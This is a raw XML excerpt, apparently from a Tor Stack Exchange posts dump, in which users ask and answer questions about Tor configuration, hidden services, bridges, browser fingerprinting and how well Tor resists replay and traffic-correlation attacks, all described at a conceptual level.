10108)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this site using  IPv6 which don't detected in some online IP finder sites, for banning me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I use tor I could access to its containers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if tor also could not hide my IP, it most be ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen the tour of  &lt;a href=&quot;https://networkengineering.stackexchange.com&quot;&gt;https://networkengineering.stackexchange.com&lt;/a&gt; and seen:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A network under someone else's control&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sentences, so I don't asked there. Also, is here proper to ask this question?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is solved after almost 10 minutes later trying accessing the restricted site by chrome with already VPN, So does it mean those VPNs don't worked? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be and I have not tried to check the chrome IP with some IP finder sites at that time if I have done that work it could clear the answer better. Does there could be any possibility for Encountering this situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your attention.&lt;/p&gt;&#xA;" OwnerUserId="33474" LastEditorUserId="33474" LastEditDate="2019-10-16T11:16:09.203" LastActivityDate="2019-10-16T11:16:09.203" Title="Problem with accessing www.saama.com under a proxy and without proxy" Tags="|proxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20449" PostTypeId="1" CreationDate="2019-10-16T13:28:15.127" Score="0" ViewCount="29" Body="&lt;p&gt;Bangladesh is increasing its defense budget and processing a plethora of modern equipment and weapons from all over the world. What is the threat perception of Bangladesh, and why is it modernizing its armed forces?&lt;/p&gt;&#xA;" OwnerUserId="27935" LastActivityDate="2019-10-16T13:28:15.127" Title="why did bangaldesh purchase a large number of weapons and tanks" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20450" PostTypeId="1" CreationDate="2019-10-16T17:03:10.883" Score="2" ViewCount="243" Body="&lt;p&gt;I set up a testing environment made of lxd containers on Ubuntu 18.04. Each container is based on the Ubuntu 18.04 image and runs Tor version 0.4.1.6.&#xA;Specifically, I have the following running machines:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;3 Authorities (named as TorAuthoritity[01,02,03])&lt;/li&gt;&#xA;&lt;li&gt;3 Exit Relays (named as TorRelay[01,02,03]Exit)&lt;/li&gt;&#xA;&lt;li&gt;3 non-Exit Relays (named as TorRelay[04,05,06])&lt;/li&gt;&#xA;&lt;li&gt;1 Hidden Service (named as TorHs01)&lt;/li&gt;&#xA;&lt;li&gt;1 Client (named as TorClient01)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The torrc file has the &quot;TestingTorNetwork 1&quot; configuration value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, only the torrc of Exit Relays has the following configuration values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitRelay 1&#xA;ExitPolicy accept *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whereas all the other torrc files (i.e., Authorities and non-Exit Relays) have the following configuration values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitRelay 0&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the Tor relays and hidden service are configured in order to use the three Authorities&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I noticed that the Hidden Service is always connected to one or more non-Exit Relays whereas I expected to see only connections to Exit Relays.&#xA;For example, by running the command &quot;lsof -i&quot; on the container providing the Hidden Service, I get the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@TorHs01:~# lsof -i&#xA;COMMAND   PID            USER   FD   TYPE DEVICE SIZE/OFF NODE NAME&#xA;systemd-n 180 systemd-network   14u  IPv4 128314      0t0  UDP TorHs01.lxd:bootpc &#xA;systemd-r 182 systemd-resolve   12u  IPv4  52219      0t0  UDP localhost:domain &#xA;systemd-r 182 systemd-resolve   13u  IPv4  52240      0t0  TCP localhost:domain (LISTEN)&#xA;sshd      251            root    3u  IPv4  77216      0t0  TCP *:ssh (LISTEN)&#xA;sshd      251            root    4u  IPv6  77314      0t0  TCP *:ssh (LISTEN)&#xA;apache2   260            root    4u  IPv6  81261      0t0  TCP *:8050 (LISTEN)&#xA;apache2   272        www-data    4u  IPv6  81261      0t0  TCP *:8050 (LISTEN)&#xA;apache2   273        www-data    4u  IPv6  81261      0t0  TCP *:8050 (LISTEN)&#xA;apache2   274        www-data    4u  IPv6  81261      0t0  TCP *:8050 (LISTEN)&#xA;apache2   275        www-data    4u  IPv6  81261      0t0  TCP *:8050 (LISTEN)&#xA;apache2   276        www-data    4u  IPv6  81261      0t0  TCP *:8050 (LISTEN)&#xA;tor       396             tor    9u  IPv4 116948      0t0  TCP localhost:9050 (LISTEN)&#xA;tor       396             tor   14u  IPv4 117902      0t0  TCP TorHs01.lxd:54948-&amp;gt;TorAuthority03.lxd:5000 (ESTABLISHED)&#xA;tor       396             tor   15u  IPv4 117904      0t0  TCP TorHs01.lxd:41538-&amp;gt;TorRelay02Exit.lxd:5000 (ESTABLISHED)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the last two lines represent connections to TorAuthority03 (which is configured as a non-Exit Relay) and TorRelay02Exit (which is configured as an Exit Relay) respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the Hidden Service is always connected at least to a non-Exit Relay (e.g., TorRelay04, TorAuthority03, etc) whereas I expected that the Hidden Service was only connected to Exit Relays (in my lxd environment, TorRelay01Exit, TorRelay02Exit, TorRelay03Exit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the network traffic through Wireshark, it looks like the Hidden Service is using a non-Exit Relay as an exit node, although the consensus already includes the three Exit Relays in my testing environment.&#xA;Is this behavior related to the testing environment only? If yes, do you already know why this happens? Is it possible to avoid this behavior? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="27936" LastActivityDate="2022-07-07T10:37:44.743" Title="Hidden Service in TestingTorNetwork connected to non-Exit Nodes" Tags="|configuration|onion-services|relays|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20451" PostTypeId="1" CreationDate="2019-10-16T18:30:26.217" Score="1" ViewCount="339" Body="&lt;p&gt;I'm doing a project to my University that consist studiyng vulnerabilities on TOR network. One attack I came across on Intenet is the &quot;replay attack&quot;. This type of attack allows a adversary, that controls Entry Node and some Extit node, duplicate cells to raise duplicate errores on Exit Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is simple (but I didn't finde info on Internet): is this attack still efective on TOR? or is there a patch that fixed it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="27937" LastActivityDate="2022-03-05T09:01:10.150" Title="is tor still vulnerable to replay attack?" Tags="|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20452" PostTypeId="2" ParentId="20450" CreationDate="2019-10-17T05:07:37.830" Score="1" Body="&lt;p&gt;What makes you expect that a hidden service will connect to an exit relay?  A hidden service makes a circuit to a relay acting as a rendezvous, and the client makes a circuit to that same rendezvous relay, and the rendezvous transfers the cells between the client's circuit and the hidden service's circuit.  Exit relays are only used to exit the Tor network onto the regular ol' Internet (hence the name).  If the traffic never leaves the Tor network, it doesn't need an exit node.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-17T05:07:37.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20453" PostTypeId="2" ParentId="20451" CreationDate="2019-10-17T05:39:56.230" Score="0" Body="&lt;p&gt;trac.torproject.org is the official Tor wiki and bug management site. I found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/14038&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/14038&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ScrambleSuit uses Uniform Diffie-Hellman as one of its authentication&#xA;  mechanisms. To defend against replay attacks, a sever caches the HMAC&#xA;  of a client's authentication message. The attack works as follows. In&#xA;  the first step, an active adversary (e.g., a censor trying to detect&#xA;  ScrambleSuit) observes a client authenticate successfully towards a&#xA;  ScrambleSuit server and captures the server's Uniform Diffie-Hellman&#xA;  response. In the second step, the adversary replays the captured&#xA;  response to the very same server. Since the server did not cache the&#xA;  HMAC of its own response, it will interpret the replayed data as&#xA;  legitimate authentication message of a new client and respond with an&#xA;  authentication response. The adversary now successfully tricked the&#xA;  server into responding despite not knowing the shared secret. This&#xA;  creates a noteworthy distinguisher which can help identifying&#xA;  ScrambleSuit. Luckily, it's easy to fix this problem. Introducing&#xA;  message types would be one option but it would break backwards&#xA;  compatibility. The easiest fix which retains backwards compatibility&#xA;  is to make the server also cache its own HMACs which are part of the&#xA;  response to a client's authentication message. The downside is that it&#xA;  doubles the size of the replay table but that's tolerable. Note that&#xA;  obfs4 is not affected by this problem because a client's and a&#xA;  server's authentication message are different. A patch follows in a&#xA;  minute.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-17T05:39:56.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20454" PostTypeId="1" CreationDate="2019-10-17T14:04:21.513" Score="0" ViewCount="147" Body="&lt;p&gt;1) ISPs request bridges and blacklist them, that means obfs4 connections could be listed as Tor, does that mean the ISP is able to see  the obfs4 IP and connect your activities to Tor just like without obfs4?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If the ISP knows you use TOR, although you may not be doing anything illegal, could that make you a target and have you reported to an intelligence agency for investigation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Is there any way to protect yourself from the above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Is there any difference in what the ISP sees when using Tor Browser to when using Tails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="27945" LastActivityDate="2019-11-17T18:43:54.033" Title="TOR questions and concerns" Tags="|security|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20455" PostTypeId="1" CreationDate="2019-10-17T16:14:38.557" Score="1" ViewCount="95" Body="&lt;p&gt;I'm using wireshark to learn what is going on when I start tor. I expected to see one communication with an authoritative directory node and then a connection with the guard node, but I get something different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first package I can see go to a directory but not authoritative node, I thought that tor software only has hard-coded authoritative directory nodes, but I can understand that it has several more in order to avoid overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then it sends connection packages to 3 more nodes successively and I can see in tor browser that guard is one of this. So, we make contact with a directory node and a guard node but what is the purpose of that connections?&lt;/p&gt;&#xA;" OwnerUserId="27944" LastActivityDate="2019-10-17T16:14:38.557" Title="Why Tor Browser connects to 3 differents guards but only use one?" Tags="|directory|guard-node|guard|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20456" PostTypeId="1" CreationDate="2019-10-17T22:09:24.150" Score="0" ViewCount="111" Body="&lt;p&gt;I'v tried to post/upload NNTP message to newsgroup with/without using TOR for analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;several thing caught my attention&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0) I'v noticed missing NNTP headers when using TOR {Injection-Info Xref Importance} but not otherwise. (when not TOR they appear)&#xA;   where the hell, do these headers go, why do they vanish ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) TOR added header {X-TOR-Router X-Ufhash} when using TOR. I'v google'd on those&#xA;    &lt;a href=&quot;https://www.google.ca/search?q=NNTP+X-TOR-Router+header&amp;amp;sxsrf=ACYBGNT21Ofwh3pSOoWS8Ilvr0ML0IIpVg:1571347769011&amp;amp;ei=Od2oXeoskYeCB_7cmZAP&amp;amp;start=170&amp;amp;sa=N&amp;amp;ved=0ahUKEwiqrdzMnqTlAhWRg-AKHX5uBvI4oAEQ8NMDCKQB&amp;amp;biw=1280&amp;amp;bih=913&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.ca/search?q=NNTP+X-TOR-Router+header&amp;amp;sxsrf=ACYBGNT21Ofwh3pSOoWS8Ilvr0ML0IIpVg:1571347769011&amp;amp;ei=Od2oXeoskYeCB_7cmZAP&amp;amp;start=170&amp;amp;sa=N&amp;amp;ved=0ahUKEwiqrdzMnqTlAhWRg-AKHX5uBvI4oAEQ8NMDCKQB&amp;amp;biw=1280&amp;amp;bih=913&lt;/a&gt;&#xA;    &lt;a href=&quot;https://www.google.ca/search?biw=1280&amp;amp;bih=913&amp;amp;sxsrf=ACYBGNQ0sa-yyKaPIdZf5mtOiio_swnPHA%3A1571347774827&amp;amp;ei=Pt2oXaeJMuWOggfm767oBw&amp;amp;q=NNTP+X-Ufhash+header&amp;amp;oq=NNTP+X-Ufhash+header&amp;amp;gs_l=psy-ab.3..33i160.55818.55818..61337...0.4..0.129.129.0j1......0....2j1..gws-wiz.......0i71.jWShnVZzd8E&amp;amp;ved=0ahUKEwinoL_PnqTlAhVlh-AKHea3C304qgEQ4dUDCAs&amp;amp;uact=5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.ca/search?biw=1280&amp;amp;bih=913&amp;amp;sxsrf=ACYBGNQ0sa-yyKaPIdZf5mtOiio_swnPHA%3A1571347774827&amp;amp;ei=Pt2oXaeJMuWOggfm767oBw&amp;amp;q=NNTP+X-Ufhash+header&amp;amp;oq=NNTP+X-Ufhash+header&amp;amp;gs_l=psy-ab.3..33i160.55818.55818..61337...0.4..0.129.129.0j1......0....2j1..gws-wiz.......0i71.jWShnVZzd8E&amp;amp;ved=0ahUKEwinoL_PnqTlAhVlh-AKHea3C304qgEQ4dUDCAs&amp;amp;uact=5&lt;/a&gt;&#xA;   and read RFC NNTP {0850 1036 2045 2231 2822 2980 3977 4642 5321 5322 5536 5537 6048}&#xA;   but could not find anything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) the missing IP in the Path header which is replaced by &quot;!..!..!&quot; such as &quot;my.usenet-privider.com!..!..!not-for-mail&quot; for both&#xA;computer newsreader and unix/linux shell (nntpfetch) downloaded articles whereas web downloaded articles &lt;a href=&quot;http://al.howardknight.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://al.howardknight.net/&lt;/a&gt;&#xA;all have the leading &quot;...!&quot; in front/leftmost and inside/middle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some have IP within the path            =&gt; IP&#xA;...!goblin2!goblin.stu.neva.ru!ecngs!feeder2.ecngs.de!1.2.3.4.MISMATCH!feeder4.feed.my.usenet-privider.com!feed.my.usenet-privider.com!my.usenet-privider.com&#xA;others don't&#xA;...!goblin2!goblin.stu.neva.ru!newsfeed.xs4all.nl!newsfeed9.news.xs4all.nl!feeder.usenetexpress.com!tr2.eu1.usenetexpress.com!feeder2.feed.my.usenet-privider.com!feed.my.usenet-privider.com!my.usenet-privider.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) the NNTP-X-Ufhash header empty in computer newsreader but present in both unix/linux shell (nntpfetch) downloaded articles and web downloaded&#xA;   articles &lt;a href=&quot;http://al.howardknight.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://al.howardknight.net/&lt;/a&gt;&#xA;   it has a long identifier string;I'd like to know if I can query that string to know more. is there a app/program/script ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) headers are not in the same order in messages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explains what's going on, exactlty ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank's in advance&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2019-10-17T22:09:24.150" Title="TOR tampering with NNTP headers" Tags="|proxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20457" PostTypeId="2" ParentId="20454" CreationDate="2019-10-17T23:47:54.050" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the ISP can reveal that the IP address/port pair you're talking to is a Tor bridge, then yes, that means they can determine that when you send traffic to that IP address/port pair that you are using Tor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Perhaps, if you are subject to a regime that considers private communication to be, &lt;em&gt;ipso facto&lt;/em&gt;, evidence of something unsavoury, then yes, using Tor could make you a target.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a private bridge, which the surveilleur cannot discover by the usual means, is the best way I can think of for avoiding being identified by your communication with a known Tor entry point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't know anything about Tails, so I can't speak to that specifically, however as long as they're both using Tor correctly (which I can't imagine they wouldn't be), the risk profile should be very similar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-17T23:47:54.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20458" PostTypeId="1" CreationDate="2019-10-18T06:26:36.363" Score="0" ViewCount="1267" Body="&lt;p&gt;for the firefox, I can set a zoom level for a domain, and then FF will remember this zoom level for every page of this domain for all the tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for Tor, it can only keep a zoom level for a tab, for this tab, any page, no matter from same domain or not, is display in the changed zoom level. But if I open a subpage from a domain I have set a unique zoom level, the new tab always display in the default 100% level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that in Firefox, the zoom level is bound to domain name; while in Tor, it is bound to tab. How can I change tor to the &quot;firefox mode&quot; to remember zoom levels according to domain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set them for each time I start Tor (once a day) is acceptable, but I dont want to set the same zoom level for same domain for every tabs of that domain. That drives me crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And will this weaken my anonymous level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="27951" LastActivityDate="2019-10-18T20:59:14.907" Title="How can I make the Tor browser remember different zoom levels for different sites like the Firefox does?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20459" PostTypeId="2" ParentId="19675" CreationDate="2019-10-18T06:36:49.980" Score="0" Body="&lt;p&gt;None of the answers I read worked, so after playing with the problem and being extremely frustrated, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I went to &quot;&lt;em&gt;add ons&lt;/em&gt;&quot; and I added and enabled the &quot;Torbutton 2.1.13&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it worked! Yippee, goddammit! What an f'en waste of time!&#xA;And make sure Manual proxy config is checked with 127.0.0.1 as SOCKS Host Port 9150,&#xA;No Proxy for: localhost, 127.0.01&#xA;Then make sure your Firefox proxy is auto detect proxy. Tor seems to work in concert with Firefox's settings it seems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IT WOULD BE SO BENEFICIAL IF WHEN A NEW UPDATE COMES OUT TECH SUPPORT WOULD UPDATE TROUBLESHOOTING POSSIBILITIES! It is such a waste of time to work for hours or days on problems which should have easy to find solutions. Everything I found was many months to years old. And there was just a Tor update this month!&lt;/p&gt;&#xA;" OwnerUserId="27952" LastActivityDate="2019-10-18T06:36:49.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20461" PostTypeId="1" AcceptedAnswerId="20465" CreationDate="2019-10-18T13:14:07.067" Score="1" ViewCount="2618" Body="&lt;p&gt;Basically when you use tor, tor normally makes a circuit consisting of the client, 3 nodes, the server.&#xA;However the client, server and each node, each have an isp, isps  log everything they do, they know to who they send packets and from who they recieve packets, so basically the government  can traceback to the client by getting logs from the isps of the each node and server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I mean more like correlation attacks, For example if you hack a server using tor, the server has the ip address of your exit relay so law enforcements can  get your exit node ip address from the server then they check your exit node isp to see to who this ip address was communicating at the time the server got hacked, then they get your middle node ip address from your exit node isp, then they do this to your middle node isp  and vice versa untill they find the client. &lt;/p&gt;&#xA;" OwnerUserId="27788" LastEditorUserId="27788" LastEditDate="2019-10-18T22:22:23.150" LastActivityDate="2019-10-18T23:03:39.843" Title="Can tor be easily traced by governments?" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20463" PostTypeId="2" ParentId="20458" CreationDate="2019-10-18T20:59:14.907" Score="1" Body="&lt;p&gt;Tor Browser doesn't remember the zoom levels in order to reduce your &lt;a href=&quot;https://blog.torproject.org/browser-fingerprinting-introduction-and-challenges-ahead&quot; rel=&quot;nofollow noreferrer&quot;&gt;browser fingerprint&lt;/a&gt;. In fact, having variable zoom levels per page could actually make you more unique. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, you can change your settings in order to remember zoom. This involves changing the &lt;code&gt;browser.zoom.siteSpecific&lt;/code&gt; property. By default, the browser will resist this change and restore defaults once you close the browser. Here's how to make your modifications stick:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the URL bar, enter &lt;code&gt;about:config&lt;/code&gt;. This will show you a warning&#xA;page. For good reason! Proceed with caution by clicking &quot;I accept&#xA;the risk&quot;.&lt;/li&gt;&#xA;&lt;li&gt;In the search bar, start searching &quot;resist&quot;. You will see the&#xA;option, &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt;. Double-click it to toggle it&#xA;to false. It will look as such: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/iKIAH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iKIAH.png&quot; alt=&quot;resist fingerprint false&quot;&gt;&lt;/a&gt; &#xA;The modified property is emboldened.&lt;/li&gt;&#xA;&lt;li&gt;Next, search for &quot;zoom&quot;. Double-click to toggle the&#xA;&lt;code&gt;browser.zoom.siteSpecific&lt;/code&gt; to true. Here's what it should look&#xA;like:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Xty5Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xty5Z.png&quot; alt=&quot;zoom true&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then restart your browser. It should now remember zoom levels.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can always revert these changes later if you're worried about fingerprinting. Once you revert the &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; modification, then &lt;code&gt;browser.zoom.siteSpecific&lt;/code&gt; will automatically change to the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. It worked for me, and I'm sure it will for you too :D&lt;/p&gt;&#xA;" OwnerUserId="27900" LastActivityDate="2019-10-18T20:59:14.907" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20464" PostTypeId="2" ParentId="20461" CreationDate="2019-10-18T21:43:17.767" Score="0" Body="&lt;p&gt;Your &lt;a href=&quot;https://support.torproject.org/faq/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISP&lt;/a&gt; and government can know that you're using Tor, but they won't know what you're doing on it. Because of Tor's method of signifying content, packet analysis will indicate that one is using Tor. Basically, packet entry/exit points, Tor protocols, and routing will give the user away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can prevent ISPs and possibly the government from knowing you're using Tor by using a VPN. Preferably one which doesn't keep logs. It is recommended not to use Tor with a VPN though. Alternatively, you can use &lt;a href=&quot;https://tb-manual.torproject.org/bridges/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="27900" LastActivityDate="2019-10-18T21:43:17.767" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20465" PostTypeId="2" ParentId="20461" CreationDate="2019-10-18T23:03:39.843" Score="1" Body="&lt;p&gt;Yes, the attack you describe -- tracing a single Tor circuit through the various relays using metadata -- is theoretically possible, however it requires a set of circumstances so unlikely as to make it practically impossible against anyone but the most unpleasant criminal elements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;All the relays you use have to be under surveillance&lt;/strong&gt;.  Someone has to be taking sufficient notice of the relay traffic to be capturing 4-tuples (src IP, dest IP, src port, dest port) for all of those relays, more-or-less all the time, and storing them for an extended period.  This could either be because the relays are run by a malicious party, or because someone is keeping taps on all tor relays in their jurisdictions, or even that jurisdictions have universal metadata capture  and retention laws (Australia is one such jurisdiction, for example).  Frankly, I would be surprised if practically every public Tor relay wasn't having its communications metadata harvested, one way or another.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;What you're doing has to be sufficiently serious for all the jurisdictions to cooperate&lt;/strong&gt;.  This is where dissidents and NGOs have a much better time than criminals, because if your circuit passes through a jurisdiction which does not, for instance, want to see people tortured for political communication, then the trace stops dead.  On the other hand, if you're taking down the international financial network, it's quite likely that most every country would be OK to help out with whatever logs they've got.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;The relays you used mustn't have a lot of other traffic&lt;/strong&gt;.  This is why &quot;but criminals use Tor!&quot; isn't &lt;em&gt;entirely&lt;/em&gt; a bad thing.  Every Tor user, regardless of what they're doing, is providing additional anonymity to other users, by increasing the number of near-simultaneous circuits running through a given relay.    If the authorities have to gather the metadata for all the middle relays that a given exit talked to, and then the metadata for all the guards/bridges that all those middle relays talked to, it ends up being quite a lot of international cooperation, and quite a bit of data to sift through.  Once again, you've got to be doing something sufficiently illegal that every jurisdiction in which the relays you used reside is willing to expend the time and effort required.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In short: if someone wants to unmask a Tor user, there are a lot of far easier ways to do so than tracing the user through the relays they used.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-18T23:03:39.843" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20468" PostTypeId="1" CreationDate="2019-10-20T11:07:38.287" Score="1" ViewCount="461" Body="&lt;p&gt;I'm trying to open &lt;a href=&quot;https://read.amazon.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://read.amazon.com&lt;/a&gt; on the latest version of Tor but I get a black screen. It works fine on Tor versions below 7. I'm wondering if I tweak the browser to get the web page to open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="27964" LastActivityDate="2020-03-20T05:01:55.213" Title="Unable to open a web-page in Tor" Tags="|tor-browser-bundle|configuration|torsocks|tor-install|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20469" PostTypeId="1" CreationDate="2019-10-21T01:12:53.363" Score="1" ViewCount="686" Body="&lt;p&gt;I've searched an tried many guide...but now, on WIndows, how can i open more instances of tor (also via batch file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed some guide, that tell to modify the torrc.defaults file adding the control and the socket ports, but it does not work, and gives error at Tor launch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for a guide that permit to do it with Polipo, but it does not work too, and there is not more available the exe file for Polipo. I searched something here but without finding anything usefull. SO is it just possible to open more instances? Thank you&lt;/p&gt;&#xA;" OwnerUserId="27966" LastActivityDate="2022-03-20T13:05:30.510" Title="Open more Tor Browser instances on WIndows?" Tags="|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20471" PostTypeId="1" AcceptedAnswerId="20472" CreationDate="2019-10-21T18:21:37.607" Score="0" ViewCount="160" Body="&lt;p&gt;If I'm using the  The Tor Browser and a gmail account would my identity be safe. In other words would the receiver be able to find my IP address &lt;/p&gt;&#xA;" OwnerUserId="27974" LastActivityDate="2019-12-05T05:41:41.250" Title="email and ip address security" Tags="|email|address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20472" PostTypeId="2" ParentId="20471" CreationDate="2019-10-21T20:25:20.110" Score="-1" Body="&lt;p&gt;I don't believe the recipient of the email would know your IP address if you send it using TOR.&#xA;Although the organization that controls your email account (i.e. GMail / Google) would probably not know your IP address if you use TOR, they might be able to gather enough information about you to that it would be a concern.&#xA;Perhaps you should use a throw-away email account to send the email, and TOR.&lt;/p&gt;&#xA;" OwnerUserId="27488" LastEditorUserId="27488" LastEditDate="2019-12-05T05:41:41.250" LastActivityDate="2019-12-05T05:41:41.250" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
